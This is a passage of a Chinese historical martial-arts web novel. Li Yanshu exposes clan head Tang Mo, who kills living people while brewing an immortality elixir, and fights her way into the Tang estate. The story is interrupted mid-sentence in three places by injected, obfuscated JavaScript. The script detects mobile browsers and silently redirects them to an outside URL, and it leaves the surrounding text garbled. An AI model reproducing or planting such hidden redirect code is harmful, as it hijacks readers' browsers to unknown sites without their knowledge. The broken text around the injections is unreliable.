李砚书笑了,她道:“您将它们从千里之外移栽到雍州,再到悉心照顾,这些可都不是天意所能为。我虽不懂花草培植,却也知道,花开百日的前提是离不开花匠的日夜照料,绝非‘天意’二字就能达成。” 郑诸义擦了手,丫鬟上前接过帕子,退至一旁。 “实不相瞒,在今日之前郑某是不信天意的。”郑诸义道,“可我在听见李小姐这番话后,却无比坚信,正因为有李小姐的到来,这些如蝼蚁般的花朵才得以存活。若李小姐弃它们而去,他们怕是很快就会再度凋零。” 李砚书道:“郑员外这说的哪里话。” “李小姐莫非是嫌这花底下的泥会弄脏了小姐的绣鞋?”郑诸义突然道。 “脏鞋倒是不打紧。”李砚书走上台阶,“就怕一脚踩下去,底下不知是泥还是花儿。” 李砚书转身站定,带着几分居高临下的意味,道:“比起天意,我更信事在人为。” ……院中静了片刻。 郑诸义向李砚书拱手行了一礼,抬头道:“我代唐家家主唐微,恳请李小姐出手相救!” 他说话间,原本侍候在一旁的丫鬟奴仆全部退到院门后。 如此,李砚书还有什么不明白的,拾阶而下,道:“郑员外还是先带我去见见唐家主吧,有些事还是得本人说才行。” 郑诸义领她进了内院,一推门一股浓郁的药味扑面而来。 李砚书下意识掩鼻。 房内伺候的丫鬟拨开帷幔,李砚书就见到一张如谪仙般的侧脸,不用猜她就肯定这人就是唐微。 那位许县尉倒是没有夸大其词。 这唐微本就长得极好,受伤脸色苍白,再加上岁月静好地躺在哪,整个人瞬间就有了一种若有若无的仙气儿。 李砚书跨过门槛,再一抬眼,就见原本还躺着的唐微已经颤抖着半撑起来了。 郑诸义连忙上前扶他,唐微却死死盯着李砚书,严格来说是盯着李砚书的衣服。他忍不住咳了起来,一只手死死抓着郑诸义的手。 “……你,你是?” 李砚书上前道:“李晗见过唐家主。” 唐微有一瞬的迷茫,他不记得唐家弟子里有面前这个人,可她身上穿着的分明就是唐家…… “她不是你唐家弟子,至于为什么会穿这身衣服,皆是因为唐易。”郑诸义道。 听到唐易的名字,唐微倏地看向郑诸义,连咳嗽都停了,但也仅仅是停了一秒,而后咳得更凶了。 “唐……唐易……怎么了?” 这时丫鬟端了药进来,郑诸义赶紧接过给唐微喂下。 李砚书静立一旁,待唐微缓和后才道:“我乃渭阳王之女,昨日见唐姑娘久久立于食易楼前,且形容憔悴,问过才知她是唐家之人。只是当时天色已晚,唐易姑娘孤身一人在外恐生危险,故而留下多看了一会儿。却不想遇到了同是唐家弟子的几人,只是那几人对唐易姑娘似乎有所误会,因而对唐易姑娘也无甚客气。” “渭阳王之女……”唐微面色苍白,撑着郑诸义的手就要坐起来。 郑诸义按住他,给他喂下一颗定心丸,道:“李小姐确是渭阳王之女。” 话毕,唐微怔了怔。 他看了眼李砚书,又看向郑诸义,最后垂下头,扯了扯嘴角,轻声道:“你要做什么?” 此话一出,李砚书和郑诸义皆愣了片刻。 唐微再次道:“你究竟要做什么?” 不同于上次的平静,这次他的语气里明显有了几分生气。 郑诸义几乎是在唐微再次开口前就反应过来,他的拳头一下就捏紧了,但还是极力克制着,道:“我要做什么?自然是为你报仇。” 唐微又躺了回去,闭上眼,道:“我不用报仇。” 郑诸义一拳砸在床上,道:“混账!你忘了唐易是怎么被人所害,行为痴傻?你忘了那些被做成药人,不人不鬼的人?你忘了你的腿为何而断,险些送命的吗?这些你都忘了?你忘得了吗!你知道唐易在你昏迷失踪的这一年,曾无数次站在之前你让她等你的那个位置,每每一站就是好几日!你知道这一年来雍州有多少人失踪无故失踪、生死未卜吗?人命非草芥,这话是你说的!” 唐微睁开眼,一滴泪从眼角滑落,他自讽道:“是啊,是我说的。可我如今……又能做什么呢?” 凭他如今残废之躯,又能做什么呢?无非是蜉蝣撼树,徒惹笑料罢了。 “你……” 郑诸义说不下了,恨恨撇过头。 “您能做的可不止于此。” 一直没说话的李砚书突然开口,正声道:“其一,唐易豆蔻年华为人所害,余生尽毁,下毒之人其心可诛。其二,活人为引,制成药人,骇人听闻。如果我没记错,此乃秦末恶习,我朝早已明令禁止。其三,多人失踪,生死未卜,这就意味着多少家庭因此支离破碎,生离死别。以上种种,无论哪件,都应该深究到底。若是放任不管,以后还不知道有多少人会因此丧命。唐家主神医妙手,曾许华佗在世,救过的人数不胜数,难道今日连自己都救不了吗?” 李砚书接道:“先秦史学大家左丘明即使双目失明,最终也编纂成《国语》,垂馨千祀。也就有了后面司马迁说的‘左丘失明,厥有《国语》’。再有孙膑受刖刑,他没有因此萎靡不振。田忌赛马,围魏救赵,脍炙人口。他们都曾身陷囹圄,举步维艰,但他们都不曾因此放弃,他们不仅活了下来,反而比寻常人活得更加精彩。司马迁说‘孙子膑脚,而论兵法。’又何尝不是在跟天底下所有身体有憾的人说,自救方能不息。” …… 一炷香后。 郑诸义推着唐微来到门外。 外头艳阳高照,唐微被晃了眼,却舍不得闭上眼。眼泪在眼眶里积蓄沸腾,好似在埋怨,这般好的阳光,竟然今日才让“它”得见。 李砚书递过帕子,没一会儿帕子上便多了一片痕迹。 片刻后,唐微的略显沙哑的声音响起,一个尘封多年的故事也随之浮出水面。 “十四年前,我偶然撞见师妹唐佩在服用保胎药。一问才知,她竟然怀有三个月身孕。问她孩子父亲是谁,她却怎么也不肯说。无奈之下,我只好将她安排在一户农家养胎,对外宣称,唐佩师妹下山历练去了。期间我每隔半月去看她一次,起初她并没有异常。只是三个月过去,我再次去看她时,她就已经下不来床了。她……我到今日还是无比后悔,为何前面那么多次我都没有发现,她脸色一直不好,我一直以为是怀有身孕的缘故,却不想,竟是中毒!” 唐微喉咙处一阵哽咽,忍不住又咳了起来。 郑诸义皱眉道:“进去吧,起风了。” 唐微虚弱地摇头,温和道:“不用,有些事……要在阳光下讲,心里才能稍微暖和一点。” “我遍查医书,都没有办法解毒。后来我才知道,那其实并不是毒,而是一种药。毒能解,而药非毒,无解。” 唐微自诩医术同龄之中无人能及,可此时此刻,他却清晰地认识到,他什么都不是,他连自己的师妹都救不了。 “师妹临盆那日,整个人瘦得只剩下一副骨架子,只有肚子高高隆起,像是将她母亲身上所有的精气都吸了过去,最后孩子平安落地,师妹却油尽灯枯,撒手人寰。师妹到死都没有说出孩子父亲是谁,我气,气她轻信他人,糟践自身。更气那个不负责任的负心汉,师妹那般好的姑娘,他又怎么忍心负她而去!后来,我将孩子带回了唐家,收为亲传弟子……” “那个孩子就是唐易?”李砚书问道。 唐微缓缓点头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐微沉默下来。 郑诸义也沉默下来。 没有人敢回答这话,即便他们都心知肚明。 长生不老对于普通老百姓来说或许是遥不可及的痴想,可对于皇族来说,却是如同心魔般的存在。 李砚书想到唐华说的炼丹,问道:“是炼制丹药吗?” 唐微正欲开口,被风一呛,又掩唇咳了起来。 郑诸义道:“没错。长生不死丹。” 唐微咳声终停,道:“此丹只存在于传说中,凡人妄图成仙,长生不死,本就是逆天而行,此道必定不得善终。” 他们说了这么多,李砚书前后一串,顿时就明白了这件事的始末。 长公主要长生,就召集天下名医名道为其炼丹。可丹药哪那么好炼,若是随便一个人都能炼出来,这天下岂不早就乱套了。 李砚书握紧了拳头,道:“敢问唐家主,唐默是在炼制此丹吗?” “……是,他从小就喜欢研究丹……”唐微压抑着咳嗽,想一口气将话说完,却不想适得其反,反而咳得越发厉害。 “别说了!” 郑诸义抬脚就要走,“我去叫大夫。” “不,”唐微拉住他,阳光下嶙峋的手指仿佛能看得见皮肉底下的森森白骨。 他松开帕子,上面沾了一抹红,似雪中绽放的红梅,触目惊心。 “这一年……幸得你相救,才让我得以苟活,谢谢你,本初。” 唐微的话让郑诸义瞬间红了眼,他颓然地蹲下,反握紧唐微的手,哽咽道:“你我兄弟,何须如此。” 言语间,唐微好像回到了一年前,他努力直起背脊,微微昂起头,在阳光下慢慢地整理好衣摆,让自己看起来只是坐在这张四轮车上。 他看向李砚书,带着歉意,道:“对不住啊,弄脏了你的帕子。” 李砚书轻声道:“冒昧来访,晚辈未曾备礼,您若不嫌,这条帕子算是晚辈赔礼。” 唐微虚弱地咳了两声,道:“李小姐听我们说了这么多,其中厉害应该知晓,就此离去,我们还可当什么都没有发生过。” 李砚书道:“晚辈虽力薄,但也愿尽力一试。” 唐微道:“你可知后果?” 李砚书后退一步,拱手道:“事关人命,义不容辞。” 唐微用力抿紧嘴角,却仍是止不住的颤抖,渐渐地,他竟低低地笑了起来,道:“好……好啊,李小姐,唐家密室里有我收集到的证据,钥匙在……在床下。” 他想抬起手感受一下光阴炙热,却力不从心,不免心生恍惚,只觉得周遭的一切好像变得遥远起来,连同他的声音也消散在了尘埃里。 “……人命非草芥……” 14. 密信 窦庑被灌了一轮酒,脸上潮红一片,醉醺醺地瘫坐在椅塌上。 韩良冷眼看着,对宋承道:“还以为铁甲营出来的有多厉害,还不是两坛倒。” 宋承中肯道:“不堪一击。” 正说着,李砚书提步出来,身后空无一人。 韩良最先发现李砚书,立即正声道:“小姐。” 除去窦庑和那些被灌醉的人,剩下众人齐声道:“小姐。” 李砚书看了一眼烂醉如泥的窦庑,收回目光,沉声道:“诸位,我刚刚从前任唐家家主唐微口中得知,现任唐家主唐默用活人做实验炼制丹药,残忍杀害数十条人命!今日尔等可愿随我一起,上唐家,为那些枉死的人讨回公道!” 韩良向前两步,“末将愿随小姐前往。” “愿随小姐前往!” 这时,一道声音传来,“我也去!” 所有人循声看去,是郑策。 小少爷背上背着一把弓箭,身后跟着五六个手持利刃的奴仆,其中一人李砚书觉得眼熟,想起他是与骨衣比试那人的弟弟。 郑策道:“你们说的话我都听到了,唐伯伯是我父亲的结拜兄弟,他的事我自然不能袖手旁观。” 李砚书道:“你想清楚,刀剑无眼。” 郑策一听她这话,恼道:“大丈夫顶天立地,你都敢去,我有何不敢!” 他说完,李砚书却没再看他,而是对韩良道:“韩叔,唐家弟子中有大部分人都被唐默所蒙骗,不知实情,到时还望手下留情。” 韩良道:“是,小姐放心。” 虽然唐默该死,可唐家众多弟子却是无辜的。 上山的路依旧风雨交加,可李砚书的心境却与昨夜截然不同。从在郑府说出那句讨回公道的话起,她就刻意地遗忘了一些东西,这样她才能一往无前,无所顾忌。 亡者英灵在上,她不能退。 李砚书带着几十号人浩浩荡荡地闯入唐家,一路过关闯将,打了唐家众人一个措手不及,不少人还没反应过来发生了什么事,眼睁睁看着一行人从她们面前走过。 宋承抓来一个唐家弟子,让他带路,众人来到唐家内院门口。 “李砚书!?”唐华匆匆赶来,不敢相信眼前这些人会是李砚书带来的。 “你,你要做什么?” 郑策刚和一个唐家弟子打完,虽然身上有些狼狈,但他头一回经历这些,觉得颇刺激了,听到唐华的话,立即道:“唐默用活人炼药,又害死我唐伯伯,罪无可恕!” “一派胡言!”唐华怒道,“你竟敢在我唐家诽谤我唐家家主,是欺我唐家无人吗?” 说完唐华抽出腰间软鞭,就要朝郑策挥去。 这时李砚书喝道,“他所言非虚!我有证据,就在唐微家主房间的密室里。” “什么……”唐华蓦然停住挥鞭的动作,她盯着李砚书,拳头死死握紧,“你是怎么知道的,你胡说,你究竟是谁?” “我说的都是真的。”李砚书道,“只要你带我去唐微家主房间,密室一开,我是否说谎,当下立判。” 唐华咬牙道:“我凭什么相信你,就凭你今日带这么多人来闯我唐家吗?” 李砚书向前两步,重复道:“只要你带我去唐微家主房间,真相就可大白。” 唐华看着李砚书坚定的目光,有那么一瞬间的动摇,旋即又坚定道:“不可能,你带人擅闯我唐家,今日我就是死,也绝不会让你踏进我唐家内院一步。” 见唐华要动手,韩良上前道:“小姐。” 李砚书摇了摇头,道:“不用,她的对手是我。” 唐华知道自己不是李砚书的对手,可她站在这里,她就不容许自己害怕退缩。 李砚书很强,是那种看着不着调,却又能在不经意间出奇制胜,打败对手。唐华自认天赋异禀,自小学医习武,都不曾落下,她没想到有一日,竟然会败在一个比她小好几岁的姑娘手里,且毫无还手之力。 随着鞭子再一次被李砚书抽走,唐华被惯力掀开,连连后退,直到被一名唐家弟子扶住。 而唐家那些花架子自然也不是韩良等人的对手,很快,他们就来到唐微生前住的那间屋子。 门上落了锁,韩良一刀砍断,大手一推,确定里面没有危险后,才对李砚书道:“小姐请。” 李砚书按唐微所说,让人去床下搜。 搜查的人先是搜查了一遍,没有发现钥匙。李砚书又让他们将床板拆下,一寸寸检查,不一会儿,就有人就在一块床板中间发现了不对劲。 郑策见状道:“真有钥匙啊!这藏得也太隐蔽了吧,要不是唐伯伯提前告诉你了,这谁想得到他会将钥匙藏在床板底下啊。” 唐华见状倏地摇头,不可置信地道:“不可能,家主他怎会……” “其实唐微家主之前没有死,他跌落山崖后被郑员外所救,一直在郑府养伤。”李砚书接过钥匙,摊开在掌心给唐华看,“这把钥匙,包括唐默用活人炼丹的事都是唐微家主亲口所说。我知道你很难相信,但是在看过唐微家主留下的证据后,我想你能及时醒悟,莫要再助纣为虐,彻底毁掉唐家数代青誉。” 说完,李砚书来到床前,凝视片刻,吩咐道:“把床挪开。” 床一挪开,那块不同于其他地板的地方一眼就能看见。李砚书将钥匙插入匙眼,转动一下,嘎吱一声,李砚书拉开木板,下面赫然躺着一封密信。 李砚书将密信取出,打开,她看了一遍,沉声道:“这是唐微家主所记,这些年雍州失踪的人,有六成都在这上面。但因官府没有报案记录,所以人数应该远不止这些。密信中所记,其中有数十人都被唐默用来试药,四人做成药人,其中三人已死,只有一个人活了下来。” 说到这,李砚书看向唐华,“你知道活下来的那人是谁吗?” 唐华呼吸加重,涩声道:“……谁?” 李砚书道:“唐易。” 唐华一滞,嘴唇都在发抖,不可置信道:“不……不会,不可能,怎会是,是她……” 唐华身后那些唐家弟子的表情跟唐华差不多。 他们从小就以身为唐家弟子而骄傲,而自豪,如今却告诉他们,他们一直以来赖以敬爱的家主竟然是一个用活人炼药,屠害同门的凶手,他们不敢相信,也不愿相信。 他们觉得此刻像是有什么东西在他们心里碎掉了。 李砚书将其中一页摆在唐华面前,道:“唐微家主的字迹想必你一定认得,这封信的真伪也不用我再去争辩,如今事实就摆在你们面前,你们还要选择视而不见吗?” 看着面前熟悉的字迹,唐华瞬间红了眼。她像是被人隔空抽了一巴掌,她一边摇头却又一边在心底不断地说,是她错了,是唐家错了,错了。 “唐易是因为受唐默控制,才出手伤了唐微家主,她天生体质特殊,本就活得比寻常人艰难,唐默将她炼制成药人,亲手杀了自己的师傅,她有何错,她何其无辜。”李砚书道,“那些被活生生炼成药人,最后惨死的人又有何错,他们又何其无辜,就因为唐默,这些人的命就不是命了吗?唐华,不要再错下去了。” 唐华猛地抬眼,伸手抓住李砚书的手腕。 韩良等人脸色大变,就要上前,被李砚书抬手制止。 唐华道:“我带你去,但我唐家众多弟子毫不知情,你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521310|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你放过她们。” 李砚书看着她,道:“我答应你。” 唐华松开她,转身往外走,“一言为定。” 李砚书将密信交给韩良,像是对韩良说,也像是对自己说。 “韩叔,事到临头,没有回头路了。” 韩良顿了一会儿,道:“天下间的路都是人蹚出来的。” 李砚书笑了,她道:“那今日,就让我来蹚出一条路。” 说罢,她提步出去。 …… 内院其实更像是内山,越往里走,里面的建筑房屋便由最初的房屋转为了傍山石屋,再往里一些,房屋已经彻底变成了石洞。石洞从左右两侧依次排开,越往里越大,同时一股难以言表的味道飘散开来,似药非药,像是熬糊熬臭了什么似的。李砚书当即叫住唐华,问道:“这是什么味?” 唐华脸色不好地道:“炼丹。” 话音刚落,数十名蒙面人从两侧石洞里出来,将他们瞬间围住。 刀剑渗出寒光,杀意十足。 韩良等人立即列好阵型,将李砚书护在最里面。 “我乃宣威将军韩良,今日奉命前来捉拿杀人凶手唐默,尔等是要公然与朝廷作对吗?”韩良喝道。 啪啪啪—— 拍掌声响起,众人朝声音源头看去,只见最里面最大的洞府门口不知何时站了一个人,模样与唐微有七分相似。李砚书一眼就确定,此人就是唐微弟弟,现任唐家家主唐默。 唐家弟子见到唐默,下意识抱手行礼,“家主。” 行完礼,他们又想到炼丹的事,欲言又止,脸上表情变了又变,一时之间也不知该如何开口。 唐华来到唐默面前,率先打破沉默,她道:“家主,您炼丹是用活人试验吗?” 唐默眼神暗了暗,并没有回答她的问题。 此时无声胜有声。唐华明白了,可她依旧不敢相信,又道:“您不让我们杀了唐易,也是因为要拿她做试验,炼丹是吗?” “她体质特殊,本就是绝佳的炼药圣体,况且她杀了大哥……” 说到这,唐默叹了一口气,微微侧首,居高临下道:“这也算是让她赎罪了。” 听到这一句,唐华的眼泪也是在这一刻才终于落下,她浑身都抖了起来。 赎罪?赎罪! 唐华没想到一直以来自己最敬重的家主,竟然是这样一个人,一个活生生的人在他眼里竟然只是一个炼药的容器。 “唐微家主究竟是被唐易所杀还是为你所控,成了你的手中刃,计中鬼!”李砚书突然道。 唐默循声看去,见自称是宣威将军的韩良都站在她身侧,犹疑道:“你是何人?” 李砚书将手中的软鞭抛给唐华,看向唐默道:“渭阳王之女,李晗。” 唐华垂头收鞭的动作一顿,倏地抬起头,旋即想到什么,生生压住了已经到嘴边的话。是了,一个普通人家的小姐怎么可能能叫来宣威将军。 唐默顿了顿,道:“王爷之女,怎地来掺和我唐家之事。” 李砚书举起密信,扬声道:“这是唐微家主多年所记,上面清楚地记载了你这些年是如何用活人炼丹,草菅人命。又是怎样控制唐易,借刀杀人,当上家主,为非作歹。” 唐家弟子面面相觑。 唐默大笑出声,道:“大哥已经死了,哪里来的证据?满口胡言,你根本就不是王爷之女,这位所谓的宣威将军也必是假的。你们今日闯我唐家,伤我唐家弟子,辱我唐家青誉,若是就这般放尔等离开,那我也再没脸坐这家主之位了。” 说到这,唐默厉声道:“拿下。” “我看谁敢动——” 15. 混战 郑策大声道:“唐默,你不认识她就算了,难道连小爷我也不认识吗?” 唐微与郑诸义是多年好友,因着这一层关系,唐家不少弟子都曾见过郑策。而郑策的出现,无疑是证实了李砚书方才所说的话,这让唐默的脸色开始变得难看起来。 郑策箭羽搭上弓,对着唐默的方向,道:“唐伯伯一年前掉下山崖时并没有死,而是被我爹救下,带回府里医治。而今人就在我郑府,唐默,你可敢去看啊?” 小小年纪,学着他爹平日里的样子,倒是有几分唬人的气势。 唐家弟子中人心浮动,明显已经动摇了。 这是唐默最不想看到的画面。在心中权衡一番后,他反而没了顾忌。只要有那位在,他就不会有事。旋即道:“那又如何。而今我才是家主,今日,你们既然来了,那就都留下吧。” 死无对证,届时如何说,还不是几句话的事。 话落,蒙面人冲上去。 这些个蒙面人显然不是唐家子弟,个个身手不凡,训练有素。 郑策射出一箭,被人横刀截断。一个蒙面人剑锋直指他面门而来,他连连退后,辛而韩良的人及时出手截住了这个蒙面人。郑策不禁咽了一下口水,心想这唐默还真是丧心病狂,竟然真要杀人灭口。 “救,救兵呢?救兵还没到吗!?”郑策忍不住喊道。 郑策一连射出三箭,还都没射中人就被横刀砍下,他恼怒的同时还有一丝害怕,再这样下去,他的小命今儿个可就真的要栽这了! 李砚书好笑地看着他,道:“哪来的救兵?” 郑策:“……” 李砚书又道:“你何时听我说过有救兵的?” 郑策极力忍住才没有骂出声,咬牙道:“没有救兵!没有救兵你就敢带这么点人过来!” 见他那敢怒不敢言的样子,李砚书玩心大起,摊手道:“这不是有你吗?堂堂郑府小公子,区区这么些人肯定不在话下的,对吧。” “你!我!”郑策指了指李砚书,又指了指自己,半晌,不信邪地又问了一遍,“当真没有救兵?” 李砚书肯定道:“没有。” 说完,李砚书憋了一会儿,就忍不住笑了起来。 郑策原本还很懊恼怎么没多点人来,见李砚书笑了,虽然知道她在捉弄自己,可也顾不上生气了,反而还一脸兴奋地问:“有救兵的是不是?” 闻言李砚书笑得更开心了,捧腹道:“没有……哈哈没有……” 郑策的脸瞬间拉下去,像看傻子似地看她,道:“没有就没有,笑这么开心作甚?” 唐华听见他们那边的笑声,忍不住对唐默道:“家主,不要再一错再错了,唐华求您,收手吧。” 唐默淡淡地道:“何谓错?何谓对?” 唐华道:“妄造杀孽是错,回头是岸是对。” 唐默轻笑了一声,道:“你又怎知我今日所做之事是错。” 唐华一时无言。 唐默接道:“若我的长生丹炼制成功,那将会是前所未有的奇举。到那时,全天下都将知道我唐家的名号,我唐默也将流芳百世,为世人尊崇。又还会有谁,记得今日之事呢?” 长生丹!? 唐华终于知道这么多年来家主炼制的是什么东西了。 简直骇人听闻。她道:“若炼成此丹是以人命为代价,那它就是有违人伦天道,它就不该出现!” 唐默没想到一向乖巧听话的唐华竟然会这样说,脸上最后一丝伪装也撕了下来,冷声道:“任何东西不付出代价,你都不会得到它。” 唐华跪下,铿锵有力地道:“那就不要!师傅,徒儿求您,此丹现世,必定会引得天下大乱,生灵涂炭。求您就此收手,莫要再一错再错,徒儿求您了!” 唐家众弟子也随之跪下,齐声道:“求家主收手!” 长生,或许对普通来说无足轻重,可对皇家贵族以及王公大臣来说却是有着致命的吸引力。若长生丹现世,他们必定会不择手段争抢,俗话说,神仙打架,凡人遭殃。到那时,战争和杀戮将会永无止境。 这么浅显的道理,他们都懂得,唐默会不懂么? 相反的,唐默懂,甚至比他们还要清楚这里面的厉害。但他就是不甘心,不甘心明明是同一个母亲生出来的,凭什么大哥就可以受到所有人的喜欢,甚至连家主之外也要他拱手相让。他不甘心,他也是爹的儿子,但世人却知唐微,不知唐默。他差在哪里?论药道,他不输于大哥,论丹道大哥远不及他,论相貌两人不相上下,可为什么爹只看得见大哥,从来看不见他!凭什么! 唐默就是要炼成此丹,即使代价是人命,后果是屠戮,他也在所不惜。 他就是要向所有人证明,他才是唐家最耀眼的那个人。 那个人叫唐默,不叫唐微! 唐默眼都没眨一下,漠声道:“我意已决,违令者,死。” 唐华不可置信地抬头,她回头看了眼身后的师弟师妹们,接着又看向另一边正在激烈酣战的李砚书,终于,她像是下定了某种决心,站起身,抽出腰间的软鞭。 唐默冷眼看着她。 只听唐华道:“我不能明知师傅是错,还助纣为虐,继续错下去。若今日弟子死于刀下,就当是最后报答师傅及唐家多年栽培养育之恩。” 说罢,她冲向人群,挥鞭帮助李砚书一行人。 “二师姐!” 唐家弟子见唐华义无反顾地冲过去,不禁叫出声。他们遂又看向唐默,下一刻,四五个人起身,对着唐默行了一礼,旋即也冲了上去。 有人起头,越来越多的唐家弟子相后冲过去。可他们当中有些人甚至都没有习过武,只能捡起地上掉落的石头或是木枝,义无反顾地冲了上去。 李砚书见状脸上没了之前的玩笑,对唐华喊道:“你们过来作甚?!” 唐华道:“此乃我唐家之事,我们身为唐家弟子为何不能过来?反倒是你这个王爷之女,好好的千金大小姐不当,跑过来多管什么闲事,赶紧带着你的人走!” 李砚书顺势抽走一个唐家弟子手中的树枝,将人护在身后,道:“你们这不是白白送命吗?你们又不会武!” 唐华听到这话心里不知滋味,道:“医者救人,天经地义,虽死无憾。” 李砚书又拉了一个胡乱挥舞着小树枝的人到身后,闻言道:“先前是我小瞧你了。不过,我既然答应过你,要保唐家不知情弟子平安,说到就得做到,否则传出去,我李砚书成什么人了。” 话毕,李砚书旋身避开蒙面人的攻势。这次她却没有再像之前那般后退,而是借力来到蒙面人身侧,趁其不备一把将其手中的剑夺下,接着一掌将人振开。 唐华余光瞄见她这次没有避开,下意识朝她那边看去,然后就看到李砚书不仅没有受伤反而还将对方打伤,顿时无语道:“你身手这般好,先前怎地一直躲?” 李砚书打量了一番手中这把剑,勾唇道:“之前不是有郑公子在吗,哪里需要我出手。你说是吧,郑公子。” 郑策刚险险躲过蒙面人一剑,见李砚书竟然这么厉害,哪还顾得上之前放过的狠话,连忙躲到李砚书身后,急道:“不不不……需要,需要李小姐出手。啊!不不不,姐,从今以后你就是我亲姐!救命啊!” “……” 唐华闻言嘴角不禁抽了抽,这认亲认得可真够快的。 李砚书哈哈笑了两声,好说话地道:“好说好说,快到姐姐身后来。” “……” 不知怎的,唐华可能是看李眼书不着调多了,对于她在这种情况下还能认一个便宜弟弟的行为,竟然也见怪不怪了。 李砚书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521311|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拉了一个唐家弟子过来,对郑策道:“护好她们。” 见是几个姑娘,郑策再怕也不能显露出来,忙壮着胆子应道:“有我在,姐姐放心。” 因为唐家弟子的加入,让场面更加混乱,李砚书他们不仅要对付蒙面人还要保护不会武功的唐家弟子,一时之间都不知道他们是来帮忙的,还是来捣乱的。 “住手!” 一道女声于混乱中响起,厉声道:“都住手!不然我就杀了她!” 紧接着就传来了唐默的声音,“都停下!停下!” 蒙面人闻声全部停下,就听唐默沉声道:“唐洛!你这是做什么?” 唐家弟子见到来人,皆惊道:“大师姐!” 李砚书闻声朝那边看去,只见唐洛用刀抵在唐易的脖子上,威胁唐默道:“放他们离开,不然我就杀了她。” 唐默盯着她,没有立刻答应。 李砚书来到唐华身后,拍了拍她的手。 唐洛见唐默不说话,手下一用力,丝丝血迹从唐易苍白的脖颈处渗出。 见状,唐默才算是相信她会真的对唐易下手,不过他依然劝道:“你舍得吗?她可是你师妹。” 唐洛道:“那你可曾想过他们都是唐家弟子,你杀他们时,可曾想过这点!” 唐默道:“那不一样,我给过他们机会,是他们要一意孤行,宁可帮着外人送死,也不愿站在我这边。” 李砚书道:“那你怎么不想想,他们为什么宁可帮着我们这些外人,也不愿帮你这个家主呢。” “你闭嘴!”唐默忽然回头,指着李砚书喝道,“我唐家之事,还轮不到你来置喙!” 李砚书丝毫不惧,背着手,还走了两步,道:“哟哟哟,我说的不对吗?俗话说得好,得道多助,失道寡助。你今日众叛亲离,难得不是你一意孤行所致?” 说着,李砚书背着身后的手指一勾,郑策立刻上前道:“唐默!你与唐微伯伯是兄弟,按理说我应该也要唤你一声伯伯才对,可我实在叫不住出口,知道为什么吗?” 李砚书“哦”了一声,若有其事地道:“为什么呢?” 郑策道:“因为丢人呐!” 两人一唱一和,唐默的脸色黑了个彻底。 唐家弟子脸上也是五颜六色,精彩得很。 “……哈哈哈,哈哈哈……” 韩良等人却是直接放声大笑,附和着郑策,丝毫不给唐默留面子。 郑策的嘴皮子功夫也是了得,竟然顺着李砚书的话,继续说了起来。 “堂堂唐家家主,竟然放任弟子送死,还无动于衷。换做是我爹,早就一巴掌拍死自己了,哪里比得上你,还能如此淡然地站在这里,难怪别人提起唐家都只说唐微家主怎么这么好,怎么怎么厉害,哎呀呀,怎么都没人提你呢?对不住啊,是不是提到你的伤心处了,真是对不住,我这人什么都好,就是有一点,喜欢说实话。” 郑策说到“喜欢说实话”时,李砚书突然挥鞭朝唐洛那边抽去,唐默大惊,却不想下一秒鞭子竟然朝他这边袭来。 “咻”的一声,鞭尾缠住他的一只手,将他带下了石台。 蒙面人想出手救他,却来不及了。 而韩良他们早已准备好,瞅准时机出手,将人全部拦下。 李砚书一把扣住唐默的胳膊,三两下就用鞭子将人的两只手捆住,紧接着唐易就将剑刃架上唐默的脖子。李砚书知她心底挣扎,顺势握上她的手,将剑接了过来,如此,就是她一人挟持唐默。 唐华一言没发,转身就走。 郑策扬眉吐气,雄赳赳地过来,道:“呸!还想杀小爷我,下辈子吧你。” 李砚书踢了他一脚,道:“别贫了,赶紧将他们带到石洞里去。” 再让他们留在这里“帮忙”,韩良他们才真是要杀人了。 16. 逆风 唐家弟子陆陆续续退到石洞里,李砚书才对唐洛道:“大师姐,快将匕首放下吧,真伤着唐易姑娘就不好了。” 唐洛看着她,没有选择立刻相信她,而是带着唐易往石洞方向退了几步,警惕道:“你是谁?你不是我唐家弟子,为何要帮我们。” 李砚书朝她灿然一笑,道:“我叫李晗,大师姐也可以叫我李砚书。我是受唐微家主所托前来,唐华姑娘手里有一份唐微家主亲笔密信,等你看过,就会明白。” “大师姐。”说曹操曹操到,唐华来到唐洛身边,“我们先进去。” 唐洛或许不信李砚书,却不会不信唐华的话。 依言进了石洞,唐洛放开唐易,将她安置在一块石头上,便展开了唐华给她的密信。 见唐洛脸上并没有多少震惊,唐华难以置信道:“大师姐,你,你是不是早就……” 唐洛点头道:“是。” 唐华道:“那你为什么不告诉我!” 唐洛道:“一是唐易,二是……那些蒙面人。” 唐华低下头,想到之前几次唐易的突然离开,她的目光从唐易移到唐洛身上,沉声道:“所以她之前几次下山,都是你放的?” “是我。”唐洛温和的面容变成哀切,她指向所有人身后的那口大鼎,“唐默用活人试药,无所不用其极,看见那尊鼎了吗?唐默曾让唐易在里面呆了一整夜。” 唐华等人骇然回首,一尊半人高的赤红色玄文鼎赫然立于她身后。 